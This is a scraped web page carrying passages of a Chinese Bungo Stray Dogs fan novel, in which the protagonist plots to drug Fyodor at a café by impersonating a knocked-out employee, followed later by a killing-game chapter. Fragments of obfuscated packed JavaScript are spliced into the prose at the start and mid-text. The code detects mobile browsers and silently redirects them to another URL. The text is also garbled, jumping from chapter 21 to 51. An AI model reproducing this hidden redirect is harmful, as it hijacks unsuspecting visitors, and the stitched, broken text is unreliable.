RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14375158|152070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你可以去做你要做的事情了,花言。”「太宰治」伸了个懒腰,从桌边起身。 花言翻找出男人写了地址的本子递给对方,有些不放心地叮嘱,“千万不要让他们发现你们哦。” 「太宰治」接过本子,轻佻地朝对方眨了眨眼睛,“放心,绝对不会有问题的。” 真的吗? 花言对此颇为怀疑,但考虑到对方在重要的事情方面确实都十分靠谱,于是又放心了下来。 他目送三人打开武装侦探社大门,进入了外界,在进入外界的一瞬间「细雪」随之落下,三人的身影很快消失。 看起来确实没什么问题。 接下来…… 花言面无表情地朝脑海里安静到像死了一样的系统发出询问,[你能告诉我,他们为什么会知道之前我找港口mafia发生的事吗?] 系统干笑了几声,【哈哈……这很正常吧……】 [这正常吗?] 花言冷漠反问,只觉得对方不靠谱程度再上一层楼,他又不是什么恐怖片里自欺欺人的炮灰。 系统绞尽脑汁地解释道,【正常啊,你想啊,宿主,如果复制出来的每一个角色都要先说明情况,那就太麻烦了,所以让他们记忆互通,不就方便很多吗?】 这个解释倒是有几分合理。 但花言还是觉得,不像是对方说的记忆互通这么简单。 他来到这个世界时经历过降维,系统在塑造他异能时,也说过怕一不小心变成他异能的一环。而他每次把异能用在角色卡时,都觉得后者有点太过真实,给他的感觉也与平时使用异能复制的感觉不太一样。既然如此,那之前于他而言的虚拟游戏世界,现在真的仍旧是虚拟吗? 不过从目前他跟他们交流时所得到的反应来看,他们对自己的信赖与好感确实都很高,近乎可以说是有求必应,也有一同战斗与相处的记忆。 虽然不知道以前的战斗是什么样的场面,但他们似乎并没有因为突然来到这个世界而展现出任何意外的情绪,像是不在意,也像是习以为常。 更重要的是,「江户川乱步」说的那句——“你也帮助了我们很多”,他做了什么吗? 花言仔细回忆,发现他每天上线不是去武装侦探社“收菜”,就是去副本痛殴各种造型诡异的小混混和mafia,怎么想都没干什么好事,对方说的总该不会是他升级人物卡的行为吧? 系统见对方迟迟不说话,有些忐忑不安地想要转移话题,【宿主……接下来我们去做什么?】 系统转移话题的方式有点生硬,不过既然已经是不靠谱的实习系统了,生硬也正常,最起码能够察觉到他的怀疑了,某种程度上来说,怎么不算是在进步呢? 花言叹了口气,[先睡觉,然后去找费奥多尔会出现的露天咖啡店,还有三十八个小时他就会出现,我们提前去踩点。] 方便下药。 后面的话花言没有说出口,总觉得说出来了,这个实习系统会再次问出他是不是法外狂徒这种问题。 可哪怕后面的话没有说,系统还是发出了一声有些迟疑的感叹,【踩点……?】 正常情况下人类是用这个词汇描述的吗? 20.第 20 章 花言没有过多在意系统,脑海里陷入了短暂的安静,依照以往的情况来看,他觉得对方大概率是揪着这个词汇去数据库里翻翻找找,寻找他是法外狂徒的证据,又或者是想到了什么他不知道的点,悄悄学习去了。 总之并不影响花言的行动。 费奥多尔会出现的咖啡店是一家露天咖啡店,在横滨露天咖啡店并不多,花言跑遍了整个横滨只找到了一家,连人手不够需要再找人帮忙的可能性都免除了。 系统见自家宿主站在咖啡店前久久不动,以为对方是在苦恼怎么神不知鬼不觉地给目标下药。 它果断放弃了翻找数据库去了解人类语用词,开始用毕生所学给对方出谋划策,【宿主,你可以先进去兼职服务员,然后等明天目标来喝咖啡的时候悄悄下药,保证不会引起任何人注意!电影视频里都是这么演的!】 什么是电影视频……? 花言沉默了一会儿,最终还是先问,[你看的电影视频里主角叫什么?] 【小帅。】 系统不明白对方为什么问这个,【宿主,你也想看吗?】 [……难道我想看,你还能给我放吗?] 花言不相信这个什么都没有的实习系统能给自己整出个那么高科技的跨次元东西。 【不能,但是我可以去复制一下他们说话的音源,然后给你转述。】系统老实巴交地回答。 花言觉得对方不该叫攻略系统,应该叫复制系统,这样跟他倒是契合无比,宿主最擅长的是复制粘贴,系统最擅长的也是复制粘贴,到时候他们在所有系统与宿主中直接出道,组合名就叫「Ctrl+C与Ctrl+V」。 听起来有点像谐星。 看在对方最起码还在努力学习,想要给自己出谋划策的份上,花言还是真诚地感谢了对方,然后拒绝。 [谢谢你,不过工作是不可能工作的,我是不可能去应聘当服务员的。] 他的身份不太方便,入职和辞职都很麻烦,更何况他不想留下过多的痕迹,也不打算暴露自己的模样……特别是瞳色,他将把这副墨镜焊死在自己脸上。 系统有一秒的失落,很快又重整旗鼓。 【好吧……那宿主,你想到什么其他方法了吗?】 [当然,这件事早就想好了。] 早在他想到要下药时就已经想好了。 【啊?】 系统发出一声迷茫的单音,【那为什么还一直站在门口?】 [我在思考另一个很重要的问题。] 花言神色严肃了起来。 系统闻言也严肃了几分,【什么?】 在它准备动用强大数据库给对方筛选内容排忧解难的时候,只听对方说。 [我在想中午吃什么。] 花言想起了昨天自己未能吃到的那一餐,[你说我现在去找弗朗西斯一块吃饭会不会显得太急迫了?毕竟我的人设一贯比较矜持。] 系统:…… 花言没能得到脑海里电子音的回答也不在意,他思考了一下还是放弃了去找弗朗西斯吃饭,考虑到如果明天计划不成功他就得想办法去坐牢,现在自然是多享受一下自由的空气比较好,最起码得在坐牢前把好不容易得来的钱花完吧! 花言捏着口袋里来之不易的钱,很快制定了一个游玩计划。 他先去吃了一次昂贵有名的怀石料理当午饭。 随后去商业街逛了一圈,之前跟弗朗西斯路过商业街的时候,光顾着当衣架,看对方抢锅了。现在再一看……果然还是除了吃的没什么想买的,但大部分小吃他又能复制出来,所以根本没必要花钱。 于是他又从商业街晃去了最近的咖啡店,不忘初心地试图品尝异国的高级咖啡,然后发现咖啡都一个味,这可能是他舌头不太敏感原因吧,他喝的只觉得苦。 最终花言看向咖啡店窗外撒进来的夕阳产生了一抹惆怅,进而想到了还在忙碌的三人,感应了一下位置,发现三人距离他有点远,甚至有了即将出横滨的预兆,像是顺藤摸瓜去找“雇主”妻子了。 总之十分认真。 花言为自己当甩手掌柜的行为感到了内疚,旋即朝三人发出问候。 [晚上还回来吃饭吗?] 这一声问候像是惊扰到了三人,让后者都有些猝不及防,以至于最老实的两个人发出了一些类似于被吓到、没能反应过来的支支吾吾声。 [啊……花言先生……] 没想到该说什么,总之先喊人的是「中岛敦」。 [啊……诶……那个……我们已经吃过了……] 为吃独食感到有些过意不去的是「谷崎润一郎」。 [不用啦~我们已经吃过了,而且也不方便赶回去,花言你有很重要的事情要忙吧,你安心做自己的事情就好了,其他交给我们~] 语气轻快,看似花言巧语和可靠的是经验老道的「太宰治」。 很好,看起来没什么问题,他们过得比自己好多了。 花言心安理得地一口喝完加糖加到齁嗓子的咖啡,决定一会儿再去吃个寿喜锅当晚餐。 在度过了十分自由的一天后,神清气爽、并且对横滨毫无眷恋的花言带着一身风萧萧兮易水寒的气息再次出现在了昨天找到的露天咖啡店门口。 暗中观察的系统在此刻悄然凝聚了所有注意力,抱着一颗求学的心态,打算认真记录自家宿主的一举一动。 在花言吃高档怀石料理的时候它在思考,在花言逛了一圈商业街复制出了一堆小吃时它在思考,在花言品尝咖啡嫌苦放致死量方糖的时候它依旧在思考,甚至在对方吃完寿喜锅、洗完澡、美美入睡时它还在思考。 它思来想去,实在想不到给目标下药除了应聘服务员之外,还有什么难度更低,也更为保险的方法。 直到现在,这个困扰了它许久的问题终于要得到答案了。 只见拥有着白色长发青年带着他不离身的斗篷、墨镜、「细雪」三件套阴暗地潜行进了咖啡店吧台内,蹲在角落阴暗观察着来来往往的员工。 他盯了半晌,终于在一某个员工进仓库拿咖啡豆时行动了。 他悄无声息地跟了上去,使用了一个手刀偷袭把对方打晕,随后熟练地将对方拖到了仓库角落用布盖上,再用异能幻化出了对方的模样覆盖在了自己身上,最后堂而皇之地拿着一袋咖啡豆进了吧台。 若无其事地开始摸鱼,别人磨咖啡他假装拿杯,别人拿杯他假装喝水,别人端咖啡送餐他假装在清扫咖啡机。 一套丝滑的连招下来看的系统颇为困惑,【宿主,你不是说不可能应聘当服务员的吗?】 [是啊。] 正蹲在墙角假装清扫地上咖啡渣,实际在偷吃甜品的花言理直气壮地回答。 [我没应聘啊,我是偷渡进来当服务员的。] 系统觉得这还不如应聘服务员,最起码还能得几个小时的工资,可能对方是有什么特殊执念吧,比如说现在卡点进来当服务员能少干几个小时之类的。 花言张嘴咬了一口这个看起来跟在船上吃到的、外形相同的甜品,仅一口,他就知道这个就是船上的那种! 久别重逢的喜悦让花言泫然泪下,他在角落哐哐偷吃,在最后一口被塞进腮帮子时,他蹲在角落过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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后者放下咖啡很快拿着送餐盘走回了吧台继续忙碌,对方长相平平无奇,无论是神色,还是走路时的姿态,都像是一名再普通不过的咖啡店员工,但是…… 在刚刚对方放下咖啡的一瞬间,费奥多尔很清晰地感受到了某种违和,异于常人的记忆力与敏锐的观察力让他瞬间分析出了感受到违和的原因。 ——所听见的声音和所看见的画面不太同步。 如同看电影中出现的音画不同步般,放下咖啡的动作比咖啡底座碰在桌面上发出的声响要慢上一点。 再加上对方靠近时传入鼻腔的那缕熟悉清甜——这股气味很熟悉,是这家店的招牌甜品的香气。 当然,身为这家店的服务员,身上会出现这种香气自然在正常不过,但是他所感受到的熟悉不仅仅来源于此,他在那晚船上出现的不速之客身上也闻到过这种味道,再联想到最近他所遇上的事情,巧合与疑点结合在一起只能让人感受到仿佛被盯上的黏腻与危险。 费奥多尔垂下眼眸,精致的茶杯放在雪白瓷制的小托盘内,茶杯旁边贴心地配置了小勺和方糖,咖啡上层的拉花是经典简约的爱心,被端到面前的这杯咖啡,无论是外观,还是气味,都与普通的拉花咖啡无异,也完美得让人挑不出一点问题。 如果真的是他所想的那样…… 这杯咖啡会如看上去的这么简单吗? 费奥多尔眼帘微抬,神秘优雅的紫罗兰色眼眸中浸染出晦暗不明的色泽,视线毫不遮掩地落在那名放下咖啡后汇入吧台忙碌的身影上。 21.第 21 章 花言现在有点汗流浃背,果然人在尴尬的时候会假装自己很忙,他正在思考自己是不是已经被费奥多尔发现了,否则为什么对方会一直盯着他看? 【宿主,他为什么没喝,还一直看着你?】 系统颇为疑惑,从它的角度来看,自家宿主的计划和行动都天衣无缝,那么这种情况按照常规发展应该是…… 一直在观摩学习的系统恍然大悟,【他肯定是一见钟情了!】 它就知道宿主能行! 花言险些一个手抖把磨好的咖啡粉洒在隔壁咖啡师身上,他咬牙切齿。 [暂且不提这种事发生的概率,我用的都不是自己的脸,就算一见钟情,也是钟情这张脸的主人吧?!] 【我知道这个!】 系统有些兴奋起来了,【一见钟情后,目标会开始追求这张脸的主人,但在接触一段时间后,他发现这张脸的主人似乎不是那天一见钟情的对象,于是历尽艰辛万苦终于找到了你,这一刻他才发现,原来他爱上的是你的灵魂!无关外表!】 花言:…… 他觉得这个系统像是已经被写好偶像青春爱情剧固定程序的系统,当接触到相似场景自动触发连招。 他甚至开始怀疑市面上那些流通的千篇一律爱情狗血剧是不是都是由这种程序跑出来的。 [情节很丰富,但是剧场错了。] 花言冷漠地揭露,[我们这里是热血漫,这种情况只会发展成——‘不对,有人想害我!’,然后开始欧拉欧拉。] 系统深受打击,再次陷入了自闭。 花言一边思忖接下来该怎么办,一边手中不停磨着咖啡,像是无情的磨咖啡机器。 一旁起初关心花言身体的服务员注意到对方宛如打了激素般磨咖啡的动作,有些奇怪,“你身体没事了吗?” “没事了。”花言头也不抬地随口应答。 “真的没事吗……?” 服务员有些疑惑,对方似乎只是去外场送了下咖啡吧?这么快就好了? 不过看对方用力压咖啡粉的动作确实不像是生病的样子。 服务员将信将疑地端着咖啡送餐去了。 在跟服务员对话的时间里,花言忽然又有一计。 他打算整个小甜品,然后把药下在小甜品里,再换成另一个服务员的模样送去给费奥多尔,假装是店内搞活动送的试吃。 现在下午店内客流量激增,谁会注意到忙忙碌碌的服务员呢! 只是还没等花言采取行动,陷入自闭的系统像是发现了什么,再次出现。 【啊,宿主,他没继续看你了,他低头看手机了,他是不是打算来找你要联系……】 不等系统说完,花言直接打断。 [不是。] 不过费奥多尔低头看手机……是有什么其他事情发生了吗? 忙着做秘制小蛋糕的花师傅从忙碌中抬起头,这一眼刚好看见从门口进来的两名熟人,在这种情况下,费奥多尔这种举动显得有些刻意想要装作没看见——想要故意被抓似的。 花言看了眼手里还没放药的小蛋糕,现在哪怕费奥多尔吃了,后续也会很麻烦,要不然还是他自己吃了算了……这绝对不是他想吃,主要是不想浪费食物。 花言很快说服了自己,他蹲在柜子后面的监控死角,悄悄品尝起蛋糕。 在他颇有仪式感先吃上面的巧克力牌时,外场的费奥多尔起身了。 在他用叉子刮蛋糕旁边被裱出波浪的奶油时,费奥多尔和太宰治对视了。 在他挖掉蛋糕尖时,弗朗西斯从报纸后对费奥多尔露出了一个挑衅的笑。 在他咬到蛋糕夹心发现里面居然是开心果碎和椰果混合时,坂口安吾带着军警过来了。 在他吃掉最后一口蛋糕时,由于霍桑已经被绑架,而跳过杀名军警流程的费奥多尔也被押送着越走越远。 花言舔掉唇边沾上的奶油,望着他们离去的背影相当惆怅,他转身进了仓库,把打晕的那名员工从角落防尘布下拖了出来,重新隐匿去身形,再用力晃醒。 他已经替对方上了两三个小时的班了,这两三个小时的工资就用在这期间吃的两个甜品抵消,再继续替下去就不礼貌了。 那名员工在剧烈摇晃下很快苏醒,发现自己不知何时靠坐在了墙角,甚至脖子还有点痛,他明明记得自己是进来拿东西的,是最近太累了吗? 确认对方已经醒来,并且什么都没发现的花言安心地离开了这家咖啡店,而那名员工则继续接上了之前没干完的事,从仓库拿了包咖啡豆回到吧台。 他刚回到吧台就发现原本空了的咖啡研磨机不知何时已经倒入了满满的咖啡豆,应该是有谁见他迟迟未归,所以自己去取了。 他见怪不怪地随手把咖啡豆放在了柜子下方,回过头又注意到不知为何其他同事都凑在一块窃窃私语。 不至于吧? 他只是不小心在仓库打了个盹,应该不至于在背后悄悄蛐蛐他吧? 那名员工惴惴不安地凑了过去,试图听一下那些人在说什么,然而所听见的内容却让他一头雾水,什么是有极度危险人员在这里喝咖啡?什么是刚刚一堆军警“哗啦”一下进来,把那个看起来弱不禁风的男人压走了? 他睡着的时候究竟发生什么事了? 在好奇心的驱使下,他忍不住插入了他们的话题,“咋了咋了?到底发生什么了?” 熟悉的声音让那名起初问候花言身体的服务员回过头,她心头冒出一抹疑惑,“刚刚你不是也在场吗?” “没有……”那名员工不好意思地挠了挠头,“我可能是太累了,不小心在仓库睡着了,好像还扭到脖子了,现在脖子还有点痛呢……哈哈……” 说着说着那名员工好像是联想到了什么恐怖的发展,干巴巴地笑了起来,试图驱散恐惧,他下意识跟对方对视,却发现对方眼眸里也充满了惊恐。 后者艰难地问道:“那……那个说感冒了导致声线变了的也不是你……?” “不是啊……我没感冒啊……” 那名员工表情越来越惊恐,他下意识看向周围其他同事,却发现他们每个人面色都极度难看。 有人没忍住发出了一声短促的尖叫。 “那那个在这里制作咖啡的人是谁啊?!” “我们到底跟什么人共事了啊!” “是那名罪犯的同伙吗?!” “他不会来报复我们吧!毕竟那个人是在我们这里被抓的!他不会在怀疑我们之中有人通风报信吧!” 吧台内咖啡店员工恐慌的叫声很快吸引了咖啡店内太宰治与弗朗西斯的注意,后者喊了半天服务员 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“这位美丽的小姐,如果是为刚刚的事情,那么已经不用害怕了,那名罪犯不会有机会再出来了。” “不……其实……” 后者见眼前这俩人的模样像是很了解这件事一样,她犹豫着开口说明了他们所发现的事情。 “是吗?同伙啊……”太宰治若有所思地点头,旋即重新露出笑容,“这件事我会传达的,不用担心哦,即使有同伙他们也不会来报复你们的,安心吧。” 闻言咖啡店员工都安心了些许。 “那就再好不过了。” 太宰治唇边的弧度不变,脑海里却在思考在前不久在这里的究竟是费奥多尔的同伙,还是对此别有所图的第三方。 如果是费奥多尔的同伙,那为什么对方对于费奥多尔被抓走的事情无动于衷?如果是未知的第三方,那对方特意来到这里伪装服务员的用意是什么…… 不,不对。 其实答案很明显。 太宰治回头看向费奥多尔之前所坐的位置,那里有一杯咖啡正静静摆放。 弗朗西斯在听见服务员的话时已经想到了什么,见太宰治看向那边,他率先迈步走了过去端起桌上的那杯咖啡。 “发现了什么吗?” 太宰治眼眸中神色微闪。 弗朗西斯没有回答,他闻了一下咖啡味道,旋即自然地递给了太宰治。 后者也闻了一下,但并未察觉出有什么不对,他瞥了一眼里面的咖啡,咖啡已经凉了,但上方由细密奶泡拉出来的精致图案并没有被破坏,似乎是不合口味,也像是察觉到了什么而没有触碰。 没等他发现更多的信息,弗朗西斯又从他手里接过了那杯咖啡,随手倒在了一旁的花坛里,风轻云淡地点评。 “很遗憾,什么都没发现,不过看起来那位「魔人」先生还挺挑剔,这家咖啡店的咖啡没能合他口味。” “是啊。” 太宰治微笑着没有阻拦,弗朗西斯的举动让他更加确信了自己的猜想。 看起来确实有人买费奥多尔的命,那位近乎无所不知的算命先生也确实是受雇而来的杀手。 只是他没想到身为「组合」头领的弗朗西斯居然会帮对方扫尾……是与对方认识吗?还是与对方背后的雇主认识呢? 50-60 第51章 花言没有拒绝,他也有点好奇果戈里的想法。 “要从哪里先开始呢?” “这是个好问题——!让我想想……”果戈里摆出了一副沉思的模样,而这份沉思又转瞬被兴致勃勃的好奇所取代,“既然花言想要保密‘才能’,那我们先从各自拿到的光盘内容来说吧~怎麽样?” 似乎是看出花言有拒绝的意向,果戈里赶在对方开口前率先说道:“我拿到的光盘是有关我和陀思君的一场谈话和一些碎片式的片段——嗯……虽然我目前的记忆里没见过他,但在视频中的那场谈话里他一眼就看穿了我的本质——!这让我十分感动——当然当然,在感动的同时,我也没有忘记你好心的提醒,去找陀思君验证这一点……” 花言已经知道结果了,“然后你发现光盘里的内容没错,费奥多尔果然能够理解你,对吧?” “没错~!”果戈里欢快地打了个响指,旋即他又有些疑惑,“所以——我苦思冥想、绞尽脑汁——近乎将大脑千刀万剐也没有想到视频里的内容究竟在什麽地方误导我了,哇呜——这种发现不了的陷阱,就像是悬挂在头顶的尖刀一样令人毛骨悚然呢!” 花言觉得可能黑白熊没有在对方的视频里动什麽手脚。 毕竟黑白熊的目的是挑起他们之间的争端,好达到自相残杀的绝望局面,因此如果对方原本就想杀这里的某个人,那黑白熊只需要还原就够了,完全没必要再画蛇添足。 “难道说——这真的是我们的‘未来’影片吗——?” 果戈里拖拽着嗓音,没有被面具遮住的那只眼眸微微弯起,笑意背后的更深处似乎掩藏着某种意味不明的情绪。 “谁知道呢。” 花言没有给对方一个准确的回答,他知道果戈里已经开始怀疑起他们是不是都失去了一段记忆,而那段视频就源自他们所失去的记忆。比起黑白熊能够将他们的“未来”拍摄成影片封进光盘中,失忆反而是能够接受、也最为合理的解释。 更重要的是——果戈里现在似乎怀疑他没有失忆,并且认为就算他不是造就了这一切的幕后黑手,肯定也了解这一切的内幕,所以对方才会从这里来试探他的反应。 花言不太明白自己究竟是哪里给对方造成了这种错觉,是他没有伪装好陌生人,让对方抓住了破绽;还是自己最后离开视听室的时候提醒的那一句,引起了对方的怀疑呢? “咦?”果戈里发出一声诧异的气音,他若有所思地点头,“原来花言也不知道吗?我以为你在看见视频时笑的那一下,是因为笃定所看见的‘未来’太过荒唐呢。” 花言:…… 破案了,原来是当时被无语笑的那一下。 花言开始觉得黑白熊真是心机深重,说不准对方就是故意想让他无语到笑,然后借此引起所有人怀疑的。 见花言没有反应,果戈里挪了一下位置,贴近了对方,外表回到刚成年时期的脸上满是好奇,“那麽那麽——!花言,你看见的影片是什麽样子的?我看你当时笑过之后毫不犹豫地把光盘掰碎丢进了垃圾桶,到底是什麽样的‘误导’会让你这麽生气呢?” 花言仍旧没有回答,他目光游移,漫无目的地落在了对面西格玛身上,后者仍旧是那副心事重重的模样,看起来有几分像是被胁迫了一样。 注意到花言的视线,西格玛眼眸中下意识流露出些许惊慌失措的神色,对方的反应太过没道理,没等花言细想,果戈里再次出声缓解了快要冷场的氛围。 这可能是同伴中有个表演者的好处,对方很少会让气氛陷入尴尬与沉默。 “花言是在好奇西格玛拿到的视频吗?他拿到的也是有关陀思君的哦。”果戈里似恍然大悟般,“原来如此,花言拿到的也有关陀思君吗?” 花言有些迟疑这个地方该不该点头承认。 他拿到的有关费奥多尔吗? 应该算是有关吧……虽然不是什麽和谐的场面,但好歹有费奥多尔的身影。 果戈里依旧没从花言身上得到什麽反馈,他有些气馁,“还真是滴水不漏呢,花言,那段视频里的东西对于你来说,那麽重要吗?” “算是吧。” 花言语焉不详地敷衍。 对方提出想要互换情报,又率先说明了自己所看见的视频内容,看似是在以表诚意,可事实上却是在借此回绝他的拒绝空间。 这个方法对于有良心道德的人很好用,但可惜对他来说无效。对方显然忘记了一开始他没吃这一套的事。 “如果真的那麽重要,仅是把它掰碎后丢进视听室的垃圾桶,是不是有点不太保险?” 果戈里看似设身处地为花言考虑,“我在和西格玛离开去找陀思君的时候,视听室里可还有四五个人留在那,万一他们之中有人的‘才能’是‘超高校级的修复师’……” 花言警觉起来了。 四五个人? 这种人数该不会是“猎犬”或者武装侦探社吧? 如果是这两个组织,那确实有可能会有人得到这种“才能”。 虽然以光盘易损毁的特性来说应该是没办法修复的,但万一呢?毕竟“才能”这种东西也有点违反常理了,修复好也不是不可能的事。 “我……” 花言猛地起身,口中的话还未来得及说完,果戈里就拉着西格玛热情地举手。 “我们陪你一起去吧——!否则要是他们凭借人多对你下手就糟糕了!” 花言没有拒绝,他匆匆朝着视听室的方向赶去,却又在靠近视听室时不自觉地放轻了脚步。 原因无他,视听室里传出了隐隐约约的交谈声。 花言调轻呼吸,悄无声息地靠近在门后试图偷听。 果戈里与西格玛见状也没有发出任何声响,不动声色地站在花言身后。 花言没有在意果戈里与西格玛的靠近,他正全神贯注地听墙角,想要判断他们的谈话跟自己丢掉的光盘有没有关系。 “……你的意思是,在你的视频中,那个穿着军装的白发少年变成了跟武装侦探社社长一样年纪的中年人,而对方不仅砍把乱步先生拦腰砍断,还断了你的腿和芥川龙之介的脖子?” 这个熟悉的声音是坂口安吾,对方的语气是浓浓的难以置信。 “这不可能!如果我没认错,他们应该是军警中最强的特殊部队“猎犬”,而那个白发少年大概率是他们的队长福地樱痴,他们应该没有对你们出手的必要才对。” “其实……我看见的也有关于他们,那个发尾微红的白发少年……他在视频里是青年的模样……” 国木田独步的声音有些迟疑,“不过我看见的东西很零碎,上一秒还是他和一个看不清面容的队友在抓捕我们,后一秒就变成了我躺在病床上,双手缠着绷带的模样,而那个人就坐在床边,在……出言嘲讽我的理想?” “诶,那还挺巧的,我看见的也是他哦。” 太宰治的声音透着些许漫不经心。 “你也是?” 坂口安吾的声音更疑惑了。 “嗯哼,我看见他在赛马场把我逮捕了。” 太宰治语出惊人的一句话让里面的其他人都发出震惊的单音。 “逮捕?这不应该啊……” 坂口安吾的声音满是疑惑,仿佛见到了什麽难以理解的事情。 很快,他又像是想到了什麽合理的说辞。 “对了,那个戴着墨镜的少年说过,让我们不要太相信视频的内容,说不准这些是黑白熊伪造……” 这句话还没说完,黑白熊的声音突兀响起。 “都说了,这点还请相信我啊!我不会干那种事的!” “哇啊,它是从哪冒出来的?是一直在监视我们吗?好可怕!” 中岛敦猝不及防被不知道从哪冒出来的黑白熊吓了一跳,发出一声惊呼。 太宰治对于黑白熊的出现倒是不在意。 “我觉得还挺有可信度的呢,安吾,你看见的是什麽?” 坂口安吾的声音迟迟没有响起,好半天才犹豫出声。 “是种田长官被那个紫白发少年捅伤的一幕,以及我举起枪对准中岛敦的片段。” “噫?!” 中岛敦再次受到惊吓。 “真是奇怪呢,为什麽你们看见的东西好像都比我多?” 太宰治的侧重点是所有人都没想到的方向。 国木田独步的声音忍无可忍地响起。 “喂!现在是需要在意这个地方的时候吗?!当务之急不是应该先弄清楚视频的真假、想办法从这里出去吗?!” “啊……国木田先生,关于这个我忽然想到,其实在最开始的时候,还有个片段是我跟那个打扮成魔术师模样的人交手、我们一同解救他手上人质的一幕。只是不知道为什麽后来人质就变成了他,我们变成了绑架犯……” 中岛敦说到最后声音逐渐不确定了起来。 里面的讨论陷入了沉默,像是所有人都在集成线索,试图从这些零碎的、又不知真假的片段里得到拼凑出真相。 花言站的有点累,他稍微动了一下腿,结果这一动就感觉到似乎有什麽东西从他右边裤子口袋顺着腿部往下滑落,坚硬又有菱角的触感顺着重力不断剐蹭过他整条右腿。 花言很快反应过来了——这是他答应给黑白熊做“内奸”的时候,后者交给他的“反派BOSS罪行录”。 他当时看完就顺手掰碎塞进口袋里了,现在看来那东西好像是划破他口袋往下掉了。 花言顾不得其他,他下意识蹲下身想要依靠斗篷的遮掩将光盘碎片换个口袋放。 只是没想到他刚蹲下身,就有一股劲风从他头顶掠过,紧接着像是有什麽东西狠狠敲击在了铁质门框上,发出“梆”的一声巨响。 这声响震耳欲聋,连带着整个门都狠狠颤抖了一下。 不仅吓到了门外的人,也把门内坂口安吾即将说出口的猜测砸了回去。 “谁在那?!” 国木田独步厉声喝道。 花言觉得这个时候应该快逃,毕竟偷听被发现这种事怎麽想都觉得很尴尬。但现实却是,他蹲在地上看着西格玛手中抡到门框上的棒球棒不知道该摆出什麽样的表情。 他该说些什麽吗? 该说“糟糕,被发现了快逃”,还是该说“没想到你小子看起来老老实实的,居然想用棒球棒抡我”? 这一下不仅硬控了花言,同样也硬控了西格玛和果戈里。 以至于当国木田独步一把拉开门时,看见的就是这麽一个微妙画面。 微妙到他把原先因有人偷听而冒出的怒火都熄灭了。 “你们……” 所看见的一幕实在是太有槽点,明眼人都能看出来这是一次偷袭失败的尴尬画面。 国木田独步说了半句话又沉默了一下,才接着开口。 “你们在做什麽……?” 果戈里最先反应过来,他脸上挂着自然的笑容,替西格玛遮掩,“哈哈,我们其实是在出视听室的时候发现门框上有固定的钉子松动,所以去体育馆找了棒球棒,特意来维修的。” 说着果戈里还不忘用手肘捣了一下西格玛,“对吧?” 被捣了一下的西格玛脸上扯出一个比哭还难看的笑容,连声音都有些颤抖,“是……是啊……我就是在锤钉子……” 西格玛内心崩溃无比,恨不得现在被棒球棒抡的人是他。 他就知道不该鬼迷心窍地听信果戈里合作的鬼话。都怪对方看见花言动了——以为花言要敲门而入,而催促他不要错过这个良机赶紧下手。 这下好了吧。 人没打晕,他想先晕了。 第52章 这一番说辞不仅把花言和国木田独步听沉默了,同样也把跟在国木田独步身后靠近的其余人听得一同沉默。 花言有些欲言又止,想问果戈里究竟是怀揣着怎样的心思说出这种解释为西格玛遮掩的,真的不是想让后者因尴尬和崩溃窒息而亡吗? 但看见西格玛脸上近乎要昏厥过去的崩溃,他还是将这个问题咽了回去。 转而补充道:“是这样,我们是来修缮门框的,避免有人会在被其他人杀死前先被门框砸死,顺便来取一样东西。” 花言觉得自己补充的十分合理,甚至表示了一下同学之间的有爱。 但落在视听室内的五人耳中就显得有些耐人寻味,再加上他们之前交谈的内容、对方所在的队伍中消减了一个的人数、以及刚刚对方被袭击的一幕,此刻对方这番话简直就像是在暗示什麽似的。 不,可以说是明示了。 坂口安吾看向果戈里与西格玛的视线带上了探究,其他人的表情也不怎麽友善。 花言没注意气氛的变化,他已经在斗篷的遮掩下,顺利把光盘碎片换了个口袋,随后径直进了视听室,从垃圾桶中捡起了被他掰碎丢掉的空白光盘。 或许他该庆幸垃圾桶里只有他丢掉的这一个光盘,否则他现在肯定已经因为无从下手而连桶带碟一起端走了。 花言把光盘都放在了同一个口袋,自然地朝外走去,果戈里见状拉着西格玛跟在对方身后,态度仍旧热情,还能像是什麽都没发生般让对方等等他们。 目睹了全程的视听室内众人不知道该说些什麽。 最终还是与谢野晶子做出了总结。 “他们之间看起来好像也不是那麽和平。” 其余人赞同点头。 太宰治望着三人的背影,眼眸中浮现出一缕若有所思。 为什麽只剩下这三人了?最为棘手的“魔人”费奥多尔呢? 总该不会是已经在他们不知道的时候被干掉了吧? …… 另一边果戈里还在贴心地关怀花言的饮食健康。 “花言花言,现在我们去哪?你要继续回食堂吃饭吗?” 花言瞥了一眼西格玛背在身后试图藏起来的“作案工具”,不咸不淡地提醒道:“如果我说是,难道你们还要陪我继续吃饭吗?我觉得你们应该先把棒球棒还回去比较好。” 花言的本意是提醒对方再对自己出手就有点过分了,是时候分开了。但显然果戈里已经被激起了几分好胜心,不会如此轻易地放弃。 “不用那麽麻烦哦~” 果戈里笑眯眯地从西格玛手中接过棒球棒,也不知道是什麽原理,总之花言只看见对方把棒球棒往斗篷里一塞,然后就消失了。 “锵锵——” 果戈里甚至不忘见缝插针进行魔术师表演魔术后的必备环节——对他来回展示斗篷外侧和内里,表示没有什麽机关。 “是魔术哦~” 对方如此说道。 花言:? 花言大为震撼。 如果不是黑白熊说过这里不能用异能,他都要怀疑对方还有发送的能力…… 不对,万一黑白熊为了除掉他,而特意给了果戈里异能呢? 简直细思极恐! 花言再次警惕起来了。 似乎是察觉到了花言的防备,果戈里摊了摊手,真心实意地道歉,“抱歉啦,花言,我保证西格玛不会再对你出手了,如果你实在担心的话,我们可以并排走。” 花言警惕的根本不是这方面,不过……也行。 他点头同意了。 但就在靠近食堂的那一刻,变故再次陡生。 食堂在走廊上开了一扇巨大的窗户,能够从中看见食堂内的情况,因此在看见黑白熊想要端走自己的饭时,花言本能地往前冲去。 下一秒,一声重物落地的声音在身后骤然响起,花言分身乏术、无暇顾及,在喊住黑白熊放下自己的饭后,他才有空回头看。 结果这一看,又把他沉默了。 